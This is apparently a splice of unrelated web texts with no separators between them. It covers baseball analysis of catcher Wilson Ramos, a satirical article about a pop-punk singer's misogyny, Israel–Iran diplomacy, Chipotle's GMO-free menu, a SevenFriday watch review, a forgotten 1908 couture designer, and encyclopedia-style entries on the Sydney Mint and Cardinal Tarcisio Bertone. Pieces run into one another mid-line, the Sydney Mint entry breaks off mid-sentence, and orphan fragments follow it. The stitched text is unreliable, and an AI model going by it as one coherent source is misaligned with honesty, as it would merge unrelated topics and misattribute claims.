In some ways, Ramos had a better defensive season than offensive one. He still struggled catching throws from the outfield and some scouts pointed to lapses in game calling and receiving, such as pitch framing. But some advanced metrics and evaluators suggest Ramos did well at blocking balls and calling games. He was one of the best in baseball at stopping balls in the dirt, and he had the highest caught-stealing rate among qualified catchers (44 percent). He also made history by catching three no-hitters (Jordan Zimmermann and two from Max Scherzer) in a 162-game span.
Ramos played in a career-high 128 games in 2015, achieving a major personal goal, and finally proving he could stay healthy and in shape. But he hit a career-low.229 with 15 home runs, 68 RBI and a.616 OPS while striking out a career-high 101 times. His offensive output (.229/.258/.358) was less than an average major league catcher (.238/.302/.376). His home run total was fourth among NL catchers and RBI ranked second behind Buster Posey.
The Nationals’ offense will and should not be dependent on Ramos. His struggles in 2015 stood out because of the underperformance of others around him, too. Offense is a luxury at catcher in the majors. If Ramos even hits closer to his career norms (.258/.301/.411), he will be an above-average major league offensive catcher.Pop-Punk Singer Urges Crowd to Respect Women Besides the Ones He Sings About
ASBURY PARK, N.J. — Foul Ball frontman Brendan Campbell declared during a show last night that “all women deserve to be treated with respect,” making an unspoken exception for the female subjects of his songs, witnesses confirmed.
“They just played ‘You Are Misery’s Company’ when Brendan said, ‘If you don’t respect women, then, fuck you! You’re not welcome here,’” said longtime fan Jared Ballel. “Everyone cheered, but got a lot louder when they jumped into ‘Pretty Little Liar,’” a song about Campbell’s ex-girlfriend’s alleged dishonesty and the tension caused between the singer and his friends.
Campbell’s between-song banter reportedly vacillated between pleas for equality and explanations for his deeply troubling lyrics.
“I remember when he started getting political. He said, ‘We have a real clown in the White House right now — just remember, the future is female,’” said Debbie Williams, who has now seen Foul Ball twice opening for other bands. “But then he added, ‘But if that female only exists to drive a wedge between you and your friends, then she needs to go. Never trust a pretty face,’ and then, sure enough, they played ‘Unfriend Zone.’”
As their set came to a close, Campbell only added to his respect for women at large, if not for specific women.
Related:
“Being a feminist means treating your girl friends just like your guy friends,” Campbell said. “And if one of my guy friends slept with all of my guy friends, I’d call him a painted whore, too. It doesn’t matter that we aren’t dating. He could get a disease.”
“This next one is called ‘Painted Whore,’” he added.
Leading into fan favorite, “Captain Insano Shows No Mercy,” which features the lyrics “I’ll keep you in my heart / I’ll keep you in my fridge,” Campbell dedicated the remainder of the set to one woman, who remained anonymous because he “…didn’t want to name names, but she’s fake and lost the real respect we have for real women.”
At press time, Campbell was offering Foul Ball’s new LP for free to any woman willing to expose her breasts.Efraim Halevy, a former chief of the Israeli intelligence agency Mossad and a former national security adviser, said the prime minister would do better not to “personalize” the situation, because “demeaning somebody doesn’t do anything useful.”
In some ways, the current dynamic echoes what some saw as an effective good cop/bad cop dynamic last year, when Mr. Netanyahu and his defense minister repeatedly raised the specter of an Israeli military strike on Iran’s nuclear facilities as the White House urged more time for diplomacy and sanctions to take effect. But after a year in which Jerusalem and Washington had been more aligned on Iran, some now worry that Mr. Rouhani’s diplomatic offensive and the relative embrace it has received could revive the momentum for a unilateral Israeli strike.
Instead, several experts suggested, Mr. Netanyahu could take credit for helping to bring Iran to the negotiating table.
“The process was meant to be pressure; isolation, military and economic; until the day comes you will see the Iranian leadership trying to climb down from this track — maybe that’s what we’re seeing,” Mr. Meridor said. “Don’t be too positive, but welcome the open arms of the United States, not just to be nice and to hug, but to see whether they will take the ladder to step down. Don’t say no.”
The challenge was made more difficult by the fact that Mr. Netanyahu on Tuesday was 5,000 miles away from United Nations headquarters. Mr. Netanyahu, himself a former United Nations ambassador who has made expert use of the General Assembly stage, chose not to attend the opening day of the annual session to avoid traveling during the Jewish holidays this week, Shemini Atzeret and Simhat Torah. He is scheduled to meet with Mr. Obama on Monday and address the United Nations on Tuesday.
Israel’s delegation in New York was instructed to skip Mr. Rouhani’s speech because of what the prime minister’s office described as Iran’s denial of the Holocaust and calls for Israel’s destruction. That prompted criticism from Israel’s centrist finance minister, Yair Lapid, who said it was “reminiscent of the way Arab states behave toward Israel” and cautioned, “Israel shouldn’t be portrayed as a serial objector to negotiations uninterested in peaceful solutions,” according to Ynet, an Israeli news Web site.Chipotle has run short of beef from time to time, and last December it announced that it could not supply all of its restaurants with the pork needed for carnitas after an audit found that one of its suppliers had failed to meet its standards for raising pigs.
That shortage continues, cutting into the company’s sales, and last week it said it probably would not be able to offer carnitas in all of its more than 1,800 restaurants until this fall.
Mr. Ells said he did not expect to run into the same problem with supplies of non-G.M.O. ingredients. “We’re working with our farmers to plan enough of these crops we need to meet our supply,” he said. “With pork, it’s harder because we only need one part of the animal, the shoulder, and the farmer needs to sell the whole animal to make it work.”
Eliminating genetically engineered ingredients is easier for Chipotle, where the entire menu uses just 68 ingredients, including salt and pepper, while one of its competitors uses 81 just to make a burrito. “The vast majority of our ingredients don’t come in a G.M.O. variety, and we use lots of whole, unprocessed foods, so it was easier for us to do,” Mr. Ells said.
More than 90 percent of corn and soy grown in the United States is genetically modified, and Chipotle used soy oil to fry its chips and tortillas. Canola oil comes from rapeseed, another large G.M.O. crop.
Getting rid of genetically engineered corn was easiest. Chipotle’s primary tortilla supplier was already producing non-G.M.O. corn flour in small amounts, and it agreed to increase its production.
But one oil can’t simply replace another. Different oils have different smoking temperatures. They impart different flavors and have varying viscosity.So it has finally happened: SevenFriday have released a new collection – or series, as they like to call them – with the SevenFriday V-Series. It is the newest addition to the family that previously contained the P- and M-Series. While its forerunners were all 47mm soft-edged squares, the case shape of the V-Series is totally different. Two left side protrusions, housing a simple-but-smart FSC (Fast Strap Change) system, change the look of this watch entirely. In the same way Star Wars got creative with the shaping of their lettered craft, this watch kind of looks like a V that has toppled to its right and just decided to stay there.
Aside from the obvious shift in silhouette, the SevenFriday V-Series features a round specially hardened and anti-reflective treated domed mineral glass and a more traditionally shaped dial. This design trait goes almost unmentioned in the press release. Not because it is a small change (I personally believe it to be seismic for the brand, and potentially destabilising), rather because there is so much more to mention when it comes to this new offering.
Aside from the FSC (patent pending), this watch also features an NFC chip, installed on the neatly engraved, screw-down case back. On the subject of case back engraving, I’ve always liked SevenFriday’s trick of distracting their customers with a bucket-load of technical information used as case back decoration. When a customer turns a watch over in their hands, they want to see something. Most often, they expect a movement, but in the absence of the watch’s beating heart, an excellently engraved image or, in this case, a clinical breakdown of the watch’s functionality will do. I like it because SevnFriday uses an unembellished Miyota, which is cool and reliable, but certainly not too flashy. The engraving on the case back is very good quality – relatively much better in comparison to other case back engravings than the Miyota is to other movements. In that sense, I believe it to be an upgrade and can not fault the brand for making that decision (and, after all, the balance is visible on the dial).
The inclusion of an NFC chip, however, is somewhat more striking a development for the brand. NFC (Near Field Communication) chips can be loaded with information, which can be used for a variety of tasks. A few months ago, I wrote a lengthy piece focusing on the technology when I reviewed the Bulgari Diagono Magnesium Concept. In the case of the Bulgari, the watch could be used to open doors, store personal details of the wearer, and carry digitised travel documentation (in theory). SevenFriday’s aims for the V-Series are initially more humble, but set to grow. Right now, the brand are using the NFC chips to verify authenticity – how that exactly works in real life is something we’ll be finding out and sharing more about in our upcoming hands-on review on of the very first pieces available from the V-Series. For now, we’ll say what we know, which is that it’s basically a high-tech watermark for now – but plans seem to be to expand the functionality of the medium soon.
The case is far more “finished” than the brand’s previous efforts. Gone is the rubberised shield that surrounded the P- and M-Series models, and in its place, we see high polished bevels and a straight-grained glass surround. Talking of the glass, take a look at that vintage high-wall dome – what a nice touch! You can see their designers’ attempts to reference old-world machinery with choices like that. I like it a lot.
Additionally, the dial and time display of the SevenFriday V-series has a drastically different layout to the P- and M- Series. There’s a lot going on with the dial: there’s a day/night indicator (at 9 o’clock), small seconds indicator, multiple finishes and colors, four levels on each dial, and 12 applied galvanic elements to boot. It’s the main selling-point of the watch for me. SevenFriday have continued with their trend of jazzing-up the dial to a crazy level.
They’ve even added a new “complication,” reducing the number of static hour markers to 4, and installing a centrally-mounted disc that “adds” hours to the 0-4 scale shown between the traditional 11 and 3 o’clock positions. It might take you +4 or +8 hours to read the time at first, but it certainly looks the business, even if it might not be to everyone’s taste. SevenFriday’s aim was to evoke thoughts of industrial essence, revolution, and engines – they have, in my opinion, succeeded rather well.
SevenFriday feels like a mainstay in the watch world these days. It’s hard to believe the brand was founded in 2010. It’s remarkable that they have been able to carve out such a niche for themselves in such a short space of time. That said, as seen with other overnight sensations like HYT, when you come to the table with something new, you can expect to find an empty chair waiting for you.
The problem this presents, especially for a small and laterally creative brand like SevenFriday, is how to innovate on the original idea in order to remain relevant, all the while working within a budget that wouldn’t even cover the bill of Rolex’s Michelin-star rooftop restaurant for one day. With the release of the SevenFriday V-Series, this ingenious brand has taken the first steps away from their tried and tested case shape. This move worries me, simply because it is so very much not what they are known for: I always liked being able to spot a SevenFriday from across the room. I’ve argued that in terms of price versus identifiability, there are few that can match the SevenFriday P- or M-series. The V-Series must earn its stripes as its big brothers had to. To its credit, though, it has an awful lot more going on than either of its preceding series.
There will be two new models offered in the SevenFriday V-Series. The SevenFriday V1/01 and the SevenFriday V2/01. They are technically identical, just different colorways. The V1/01 is a white/blue dialled variant, while the V2/01 is a black and “old” yellow set-up. They are both pretty handsome dials: The V1/01 is very sleek and professional, and the V2/01 has a retro cool flavor reminiscent of the early M-Series models. Both have a 40-hour power reserve and use the Miyota 82S7 calibre. Both versions will have a price tag of CHF1,055. sevenfriday.comIn the Spring of 1908, three women walked onto the Longchamp racecourse in Paris and jaws dropped. The elite society event was known for debuting the latest couture creations to the public, but no one had seen fashion quite like this before. Dressed in blue, white and havane brown creations, according to newspapers, spectators called the three women a “monstrosity”, accused them of being semi-naked and showing revolting décolletage. It was these three dresses however, which would forever change fashion that day and launch the twentieth century silhouette. As for the designer? Well, no one really bothered to remember her name…
But perhaps you might like to know who it was. Jeanne Margaine-Lacroix was her name, a young Parisian designer who had taken over her mother’s long-established couture house and was starting to gain popularity in turn-of-the-century Paris for her lightly corseted dresses featuring minimum boning and more elastic material…
Long before Lycra or Spanx came along, she soon began making dresses made from stretchy elastic silk jersey, outlining the hips and thighs and slimming the figure. To debut her creations to society, she hired three beautiful models and chose the Parisian racetracks of 1908 as her catwalk.
Her gowns clung to their bodies almost as tightly as a Hervé Leger bandage or body-con dress circa 2007. The gawking crowd at Longchamp could see that the women were not wearing what they considered to be underwear, which in those days of course consisted of bulky under-garments including a full corset, petticoat and chemise.
You could now see their real, natural, soft bodies, rather than stiffly corseted, heavy-bosomed artificial silhouettes. Their skirts were also oh-so-shockingly split to the knee, and the French weekly newspaper, L’Illustration, reported conservative Parisian women marching their husbands and sons out of the racing enclosure. But as with most PR stunts, there is no such thing as bad publicity.
The very same newspaper put the daringly dressed women on their front page, calling them “Les Nouvelles Meirveilleuses”. It was a headline borrowed from a fashionable but short-lived aristocratic subculture which had emerged a century earlier in Paris during the penultimate stage of the French Revolution, as a sort of counter-revolution.
These “marvellous women” or “fabulous divas” scandalised Paris with revealing dresses and tunics modelled after the ancient Greeks and Romans, cut of light or transparent linen and gauze, often too tight to even allow pockets. For a brief period, young aristocrats who had survived the revolutionary “reign of terror” (the men were known as “les incroyables“) greeted the new regime with a defiant outbreak of royalist luxury and daring decadence through their exaggerated clothing, silly mannerisms and indulgent behaviour. Alas, their open-sexuality and libertine attitude had perhaps come a hundred years too early, but at the dawn of the twentieth century, the young and the fashionable were once again ready for a “marvellous” renaissance…
It was Margaine-Lacroix’s dresses that floated across those Longchamps racetracks in 1908 that sparked the desire for change. Almost overnight, every impressionable young lady longing for a change from the rigid Victorian dress wanted to be those three women in the sassy slimline dresses.
One of them, “la belle Möina”, the most striking of the three, was offered a handsome contract by the director of the Moulin Rouge.
The twentieth century silhouette was born and the media called it “the directoire gown”, infamous for causing road accidents involving riders being distracted by figure-hugging dresses. One reported incident in London caused by “directoire mania” allegedly involved a collision with Winston Churchill’s horse.
But throughout all the sensation and the press reports, Margaine-Lacroix’s name was left out of the headlines; not even given a footnote, and she was subsequently written out of fashion history.
A British fashion historian, Susie Ralph, has long made it her mission to see this once-prominent designer have her rightful place in history.
“Dedicated to her craft, but apparently not given to self-advertisement, the Longchamp incident seems to be the only occasion on which Margaine-Lacroix went out of her way to court publicity – and then for her dresses alone, not for herself,” writes Ralph, who believes the 1908 sensation marked the true turning point in fashion. “Margaine-Lacroix has been forgotten, cast into shadow by the splendours of the Russian Ballet, and the exquisite illustrations of Poiret’s gowns. But influential as these were, it was Jeanne Margaine-Lacroix who brought about the general adoption of the lean, modern look. She deserves to be recognised as one of the most influential designers of the late Belle Époque.”
In researching the infamous 1908 dress and its sought after slender silhouette that “sounded the death-knell” for old-fashioned corseted waistlines and prominent chests, Susie found a statement printed at the time which I find really clarifies just how deeply Lacroix’s design might have influenced the future of fashion…
To wear even a modified directoire style, women have had to change their figures; the hips are being reduced; the waist however is a little larger, in order to reduce the apparent size of the hips.
It does rather sounds as if they could be describing the 21st century fashion model…
But with the Kardashians now promoting their waist-training corsets all over social media, Mattel giving Barbie a new body and launching dolls with bigger hips, does this mean we really are once again heading for change?
Sources: Susie Ralph on Margaine Lacroix / Gallica / Ornamented LifeThe Sydney Mint in Sydney, New South Wales, Australia, is the oldest public building in the Sydney central business district. Built between 1811 and 1816 as the southern wing of the Sydney Hospital, it was then known as the Rum Hospital. In 1854 a mint was established on the site with the hospital building used to house mint staff as well as providing a residence for the Deputy Mint Master. A coining factory was built at the rear. Both of these structures have exceptional heritage significance and have been associated with major events in the colonial history of New South Wales.
Located in Sydney’s central business district at 10 Macquarie Street, it is near many other famous Australian historical buildings including Hyde Park Barracks, St James' Church and Parliament House. The building is now the head office of the Historic Houses Trust of New South Wales and is listed on the New South Wales State Heritage Register.[1][2] Sections of the building are open to the public.
History [ edit ]
General Hospital and The Dispensary (1811–1854) [ edit ]
Model of the South Wing of the General Hospital
In 1811, Governor Lachlan Macquarie commenced planning for a new general hospital in Sydney which was to be his first major public building. The contractors were paid with 45,000 gallons of rum hence the name Rum Hospital. Construction was completed in 1816.[3]
Its design is loosely based on ancient Greek architecture with its two tiers of columns made of cedar timber in the style of Doric mouldings. The columns are angled inwards creating an optical illusion imitating the Parthenon in Athens, Greece.
A dispensary opened in 1842 replacing the south wing after which the rest of the site was used as a military hospital until 1854. Governor Macquarie signed an agreement with Garnham Blaxcell, Alexander Riley and D'Arcy Wentworth to build a new convict hospital in November 1810. In return, the three gentlemen received the monopoly on the purchase of spirits for three years. As a result, the building became known as the Rum Hospital.[4]
While the architect is unknown, inspiration for the form of the buildings is thought to have come from Macquarie's time in India, especially the Madras Government House. The Hospital, however, is constructed to the standard institutional army plan of the time - as seen at Victoria Barracks. The Hospital was originally constructed with three wings, the northern wing is now part of Parliament House, the central wing has been demolished and the southern wing became the Mint.[4]
The foundation stone was laid almost a year later, in October 1811, but the hospital was not ready for patients until March 1816. This was largely due to the constant inquiries into claims of poor quality materials and construction. Henry Kitchen wrote to Commissioner Bigge "that one would really imagine that they had been built for the very purpose of exhibiting a striking effect which such a structure would produce when in ruins".[5] Architect Francis Greenway also criticised the buildings, drawing up plans to strengthen the roof. Greenway's official report on the workmanship found that the joints in the structural beams were weak, the foundations poor, that corners had been cut during construction, there was rotting stonework and dry rot in the timbers. Even though Macquarie ordered the contractors to remedy these faults, many more did not come to light until the restoration works of the 1980. Despite all this it is the oldest extant building in central Sydney.[6][4]
Commissioner Bigge's main complaint, however, was regarding the size and grandeur of the buildings, rather than anything else. These may have been justified in the early years of its existence as the Hospital could not be sustained on such a large scale. As a result, other Government agencies occupied various sections - the Legislative Council moved into the Principal Surgeon's Quarters in 1829, pushing the Principal Surgeon out by 1848. This wing today forms the northern faade of Parliament House. Other rooms were given over to the Principal Supervisor of Convicts and Sydney's first museum.[4]
This early uncertainty over tenure of the buildings effected the growth of the Sydney Infirmary and Dispensary, as it was known from 1844 until 1881, when it became Sydney Hospital. The southern wing was first used for the treatment of convict patients and also housed the assistant surgeons and the medical store. From the late 1843 until 1848 the building was used by the Dispensary. The Dispensary was created in 1826, occupying a variety of buildings around the city before being given the southern wing. The purpose of the service was to treat, as outpatients, the free poor who could not afford medical care. In 1848 the Sydney Infirmary and Dispensary gave up the southern wing to ensure ownership of the current site of the Sydney Hospital. Little seems to have occurred with the buildings until 1853.[4]
The Legislative Council of New South Wales had began petitioning the British Government for the establishment of a Mint in 1851. The gold rush had brought in to circulation large amounts of unrefined gold that was threatening the official currency. The British Government finally approved the establishment of a Mint in 1853, sending equipment and twenty staff.[4]
Captain F.C. Ward, appointed as Deputy Mint Master, designed the required buildings and stayed in England to order the equipment. C. Trickett as Superintendent of Coining, was sent to Sydney in 1853 to direct the erection of the factory buildings and machinery and to ensure adequate security. Ward, who had worked with Joseph Paxton on London's Crystal Palace, employed similar techniques in the construction of the Mint - prefabricated cast iron columns and trusses. It was Trickett who selected the site and modified Ward's plans to incorporate the southern wing of the Hospital as accommodation and offices with the remaining factory buildings forming the other three sides of a quadrangle. The short southern reach consisted of Carpenter |
you chosen a different profession.
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See, two horses Eiffel-towering a female cheerleader is totally normal and funny. But the same horses having sex with a guy would be gay. And of course, nobody wants that.
Five Things We Learned From The Memorial High T-Shirt Fiasco [Houston Press]
Memorial High: Staying Classy As Ever With The Stratford Rivalry [Houston Press]
The Pornification Of A High School Sports Rivalry [Feminist Law Professors]
Houston-Area High Schools Take Their Rivalries Very Seriously [Back Porch]
Some Find Football Rivalry Shirt Offensive [Click2Houston]Tarcisio Pietro Evasio Bertone SDB (born 2 December 1934) is an Italian prelate and a Vatican diplomat. A cardinal of the Catholic Church, he served as Archbishop of Vercelli from 1991 to 1995, as Secretary of the Congregation for the Doctrine of the Faith, when Cardinal Joseph Ratzinger (later Pope Benedict XVI) was Prefect, Archbishop of Genoa from 2002 to 2006, and as Cardinal Secretary of State from 2006 to 2013. Bertone was elevated to the cardinalate in 2003. On 10 May 2008, he was named Cardinal-Bishop of Frascati.
Bertone served as Camerlengo from 2007 to 2014. In the period between Pope Benedict XVI's resignation on 28 February 2013 and the election of Pope Francis on 13 March 2013, he served temporarily as the administrator of the Holy See and acting head of state of the Vatican City State. He was considered a contender to succeed Benedict XVI.[1]
Besides his native Italian, Bertone speaks fluent French, Spanish, German and Portuguese. He has some knowledge of English, although he is not fluent, and he can read Polish, Latin, Greek and Hebrew.
Early life [ edit ]
Bertone was born in Romano Canavese, Piedmont, the fifth of eight children. Bertone has stated that his mother was a determined anti-fascist militant of the Italian People's Party, and later a Christian Democrat.
He professed his vows as a member of the Salesians on 3 December 1950 and was ordained a priest by Archbishop Albino Mensa on 1 July 1960. He holds a doctorate in canon law. His dissertation was entitled The Governance of the Church in the Thought of Pope Benedict XIV (1740–1758).[2] He served as Professor of Special Moral Theology at the Pontifical Salesian University from 1967 until his appointment as Professor of Canon Law in 1976, a post he held until 1991. He was a visiting professor of Public Ecclesiastical Law at the Institute Utriusque Iuris of the Pontifical Lateran University in 1978. He was commissioned by Pope John Paul II to assist Emmanuel Milingo, Archbishop Emeritus of Lusaka, Zambia, in returning to the Catholic Church in 2001. Milingo had left the Church to marry Maria Sung of Sun Myung Moon's Unification Church.[3]
Archbishop and Cardinal [ edit ]
On 4 July 1991, Bertone was appointed Archbishop of Vercelli by Pope John Paul II. He was consecrated bishop one month later by Archbishop Mensa, who had also ordained him priest. He held this post until his resignation in 1995 upon being named Secretary of the Congregation for the Doctrine of the Faith under Cardinal Joseph Ratzinger, who later became Pope Benedict XVI. Appointed Archbishop of Genoa on 10 December 2002 and installed on 2 February 2003, Bertone was elevated to the College of Cardinals in the consistory of 21 October 2003, as Cardinal-Priest of Santa Maria Ausiliatrice in Via Tuscolana.
According to Bertone's secretary, "Bertone once decided to take a public bus to the Apostolic Palace. As the Cardinal in his long black cassock and red fascia strode on to the bus, the people, especially a group of young people, stared in silence. Bertone immediately broke the ice with his 'characteristic' smile. By the time he reached his destination the prelate had engaged the youth in a deep conversation on love, sex, virginity, and chastity".[4]
He later specialized in the relationship between social morality, faith and politics. He also assisted with the revision of the 1983 Code of Canon Law and undertook pastoral work in parishes. In the Jubilee Year 2000, Bertone was entrusted by John Paul II with the publication of the third secret of Fatima.
Bertone was one of the cardinal electors who participated in the 2005 papal conclave that selected Pope Benedict XVI. He also participated as a cardinal elector in the 2013 papal conclave that elected Pope Francis. Having passed 80, he will not be an elector of the next pope.
Cardinal Secretary of State [ edit ]
Coat of arms of cardinal Bertone as camerlengo
On 22 June 2006, Benedict XVI appointed Cardinal Bertone to replace Angelo Sodano as the Cardinal Secretary of State. He assumed the office on 15 September. On 26 June 2006 Bertone was awarded the Knight Grand Cross of the Order of Merit of the Italian Republic.[5]
Complaints about Bertone's performance as secretary of state began early in his tenure. He had no prior experience in the Vatican’s diplomatic corps.[6]
Two weeks before entering office, asked about reforms of the Roman Curia, Bertone remarked, "After almost two decades, an evaluation of how the dicasteries are organised is more than comprehensible, in order to reflect on how to make the existing structures more efficient for the mission of the Church and eventually to consider whether all of them should be maintained".[7]
On 4 April 2007, Benedict XVI appointed Bertone as Camerlengo of the Holy Roman Church (or Chamberlain). The duties of the Camerlengo are largely confined to administration during the vacancy of the Holy See.[8] On 10 May 2008 he was promoted to the rank of Cardinal-Bishop of Frascati.[9]
After he was named Archbishop of Vercelli he "locked himself in his room all night and studied the life of Saint Eusebius, who was bishop of the city back in 345 AD".[4]
When Pope Benedict XVI resigned on 28 February 2013, Bertone as Camerlengo of the Holy Roman Church was the acting sovereign for Vatican City State and administrator for the Holy See until the election of a new pope.
On 13 February 2013, at the last public Mass of Pope Benedict XVI before his resignation took effect on 28 February, Bertone praised Pope Benedict, "We would not be honest, Your Holiness, if we said that this evening there is not a hint of sadness in our hearts. In recent years, your teaching has been a window open onto the Church and the world, which let in the rays of truth and love of God, to enlighten and warm our journey, even and especially at times when clouds gathered in the sky". Bertone continued: "All of us have realized that it is precisely the deep love that Your Holiness has for God and the Church that prompted you to make this act, revealing that purity of mind, that strong and demanding faith, that strength of humility and meekness, along with great courage, that have marked every step of your life and your ministry".[10]
He was the second most senior cardinal-elector in order of precedence among the cardinal-electors who participated in the 2013 conclave that elected Pope Francis, after the presiding cardinal Giovanni Battista Re.[11][12] Cardinal Bertone himself was seen as a contender to succeed to the papacy,[1][13] although his chances as a papabile were thought diminished by the perception that he was a "potential scandal in the making".[13] At Pope Francis' inauguration, Bertone was one of the six cardinals who made the public act of obedience on behalf of the College of Cardinals.[a][14][15]
He was a member of the Congregation for the Doctrine of the Faith, Congregation for the Clergy, Congregation for Divine Worship and the Discipline of the Sacraments, Congregation for the Oriental Churches, Congregation for Bishops and Congregation for the Evangelization of Peoples until his 80th birthday on 2 December 2014.
Controversies [ edit ]
The Da Vinci Code [ edit ]
On 15 March 2005, Bertone was in the news for "breaking the Church's silence" and sharply criticizing Dan Brown's 2003 novel The Da Vinci Code, saying the book was "shameful and full of unfounded lies", and that believers should boycott the book. Both Bertone and official Vatican spokespeople insisted that Bertone was not speaking as an official representative of the Church, but it was also noted that Bertone's high placement within the Church hierarchy and the fact that he was often named as a potential candidate for the papacy gave his words considerable weight, such that his comments were often reported by various media as an official statement from the Vatican.[16] In 2006, the NBC news program Dateline described his statement as "a high-ranking Vatican Cardinal called for a boycott of the film."[citation needed]
Church and sports [ edit ]
Bertone suggested in December 2006 that the Holy See "could, in future, field a team that plays at the top level, with Roma, Internazionale, Genoa and Sampdoria." He continued: "If we just take the Brazilian students from our Pontifical universities we could have a magnificent squad".[17] Hours later he said "I've got much more to do than cultivating a football squad for the Vatican" and explained that his earlier remark was not intended to be taken seriously.[18]
Defense of Pius XII [ edit ]
On 5 June 2007, at a conference announcing the release of a new biography of Pope Pius XII, Bertone defended Pius against claims of indifference toward the Jews during the Holocaust. The cardinal condemned this accusation as a "black legend" and "an attack on good sense and on rationality", which has "become so firmly established that even to scratch it is an arduous task". Although he admitted that Pius XII had been "cautious" in condemning Nazi Germany, Bertone stated that Nazi forces would have intensified its program of genocide had the Pope been more outspoken.[19]
Pope Benedict XVI Islam controversy [ edit ]
On 16 September 2006, Bertone, after one day as Cardinal Secretary of State, released a declaration explaining that the "position of the Pope concerning Islam is unequivocally that expressed by the conciliar document Nostra aetate" and that "the Pope's option in favour of inter-religious and inter-cultural dialogue is equally unequivocal."[20] He said:[21][22]
As for the opinion of the Byzantine emperor Manuel II Paleologus which he quoted during his Regensburg talk, the Holy Father did not mean, nor does he mean, to make that opinion his own in any way. He simply used it as a means to undertake—in an academic context, and as is evident from a complete and attentive reading of the text—certain reflections on the theme of the relationship between religion and violence in general, and to conclude with a clear and radical rejection of the religious motivation for violence, from whatever side it may come. [The Pope] sincerely regrets that certain passages of his address could have sounded offensive to the sensitivities of the Muslim faithful and should have been interpreted in a manner that in no way corresponds to his intentions.
On 5 December 2006, Patriarch Alexius II accused the Holy See of an "extremely unfriendly policy" when he said that the Catholic Church was poaching converts in Orthodox lands in Russia and other ex-Soviet republics. Bertone said in response: "We do not want to engage in proselytism in Russia".[23]
Media [ edit ]
In 2007, Bertone "blasted the media for highlighting the Vatican's views on sex while maintaining a 'deafening silence' about charity work done by thousands of Catholic organisations around the world."[24] He continued: "I see a fixation by some journalists on moral topics, such as abortion and homosexual unions, which are certainly important issues but absolutely do not constitute the thinking and work of the Church."
Proposed excommunication of drug dealers [ edit ]
On 14 January 2009, Bertone suggested that the Church would consider taking much stronger action against drug dealers. This action might possibly include excommunication. He made a statement about the Church's alarm at the "disaster" of drug-fuelled violence on the eve of a trip to Mexico.[25]
Support for universal and free access to anti-HIV drugs [ edit ]
On 22 June 2012, in an online news story article by Cindy Wooden of Catholic News Service (CNS), it was reported that, in a conference in Rome on the prevention of the transmission of HIV (the virus that causes AIDS) from mothers to children sponsored by the lay Community of Sant'Egidio (which runs the DREAM project, a free HIV prevention/treatment program in 10 African countries), the Cardinal Secretary of State urged that full and easy access to antiretroviral drugs be made free worldwide (these are drugs, such as AZT, that can treat, and in some cases, can prevent people from getting, HIV; they do not presently cure HIV once it has infected someone). Bertone acknowledged that the only way this would be remotely feasible, especially in Africa – where the efforts would be most needed and focused – would be through a collaborative effort involving aid groups, governments, donors, medical groups, pharmaceutical companies, and churches.[26]
Our Lady of Fatima [ edit ]
Bertone came under fire by Antonio Socci, Christopher Ferrara, and others for allegedly manipulating the "third secret" of Our Lady of Fatima.[27] In a 2007 address on the release of his book (The Last Secret of Fatima), he emphasized the more private nature of apparitions, urged caution in accepting them, and said "the fullness of [Fatima's] message...touches the hearts of human beings, inviting them to conversion and to co-responsibility for the world's salvation".[28]
Homosexuality to blame for child abuse by priests [ edit ]
On a visit to Chile in April 2010, Bertone commented on the psychology of child abusers, suggesting a predisposition between those that are homosexual to engage in child abuse:[29]
Many psychologists, many psychiatrists have demonstrated that there is no relationship between celibacy and paedophilia but many others have demonstrated, I was told recently, that there is a relationship between homosexuality and paedophilia.
Gay rights groups condemned his remarks. The head of one gay rights organization said that for someone of Bertone's stature "to dump the blame on homosexuals... says a lot about the current state of desperation in the Vatican".[30]
Holocaust denying bishop [ edit ]
In 1988 Bertone was appointed to a group of experts that assisted Joseph Ratzinger in negotiations with the excommunicated Archbishop Marcel Lefebvre. In January 2009, Pope Benedict lifted the excommunication pronounced on four bishops created by Lefebvre as a gesture towards reconciliation. The same day, an interview on Swedish television was broadcast in which one of the bishops, Richard Williamson, supported ideas denying the Holocaust. An ensuing media uproar questioned why the Pope would welcome a Holocaust denier who had previously been accused of antisemitism. Both Cardinal Giovanni Battista Re, prefect of the congregation for bishops, who signed the decree and Cardinal Darío Castrillón Hoyos, president of the pontifical commission "Ecclesia Dei," which dealt with the followers of Lefebvre said that they were taken by surprise, and were never aware that Williamson was a Holocaust denier. As the Secretary of State has direct access to the pope, and oversees the implementation and coordination of his decisions, many in the media questioned why Bertone didn't insure that an adequate background review was conducted, particularly as it would only have required an internet search. This gave the appearance of a disorganized curia.[31]
Vatileaks [ edit ]
Bertone figured prominently in documents leaked to the media in which Bertone appears to have reproved the general secretary of the Vatican governorate, Archbishop Carlo Maria Viganò, for reporting detailed evidence of nepotism, cronyism, and general mismanagement. Viganò was subsequently transferred from the Vatican to Washington D.C. as Apostolic Nuncio.[6]
Bertone blamed the scandal over leaked Vatican documents on unethical journalists and a spirit of hostility toward the Catholic Church. "Many journalists play at imitating Dan Brown", said Cardinal Tarcisio Bertone, in an interview with the Italian magazine Famiglia Cristiana. "They continue to invent fables or repeat legends." Bertone made his remarks as Vatican judges were investigating leaks to Italian journalists of dozens of documents, including letters to the pope and encrypted cables from Vatican embassies around the world, several of which hint at power struggles among officials of the Holy See. "The truth is that there is a malicious will to produce division" among the collaborators of Pope Benedict XVI, he said.[32]
During and after the Vatican leaks scandal, Bertone was widely blamed for cronyism, failing to address corruption,[33] and failing to prevent many financial and ethical scandals under Benedict XVI.[34]
Financial irregularities [ edit ]
During an inflight news conference on his return to Rome from the Holy Land in May 2014, Pope Francis confirmed reports the Vatican is investigating charges against its former secretary of state misappropriated $20 million from the Vatican bank. The pope also was asked about reports that Bertone mishandled 15 million euro (about $20.5 million) in funds held by the Institute for the Works of Religion, commonly known as the Vatican bank. "It's something being studied, it's not clear," the pope said. "Maybe it's the truth, but at this moment it's not definitive."[35] This money was transferred from to a private company, Lux Vide when Bertone was in charge under Benedict XVI.[36]
Apartment renovation [ edit ]
Between November 2013 and May 2014, Bertone combined and renovated two apartments in the San Carlo Palace in Vatican City to create a single residence for himself, a secretary, and three nuns, reportedly a total of 604-square-metre (6,500 sq ft) and a roof terrace. Bertone said he was renovating the apartment at his own expense, that it is half the size reported, and that Pope Francis telephoned him to express support when he was attacked in the press for expenditure.[37][38] Bertone responded to reports that monies belong to Bambino Gesù Hospital had been used for the construction work, he donated 150,000 euros to the hospital.[39]
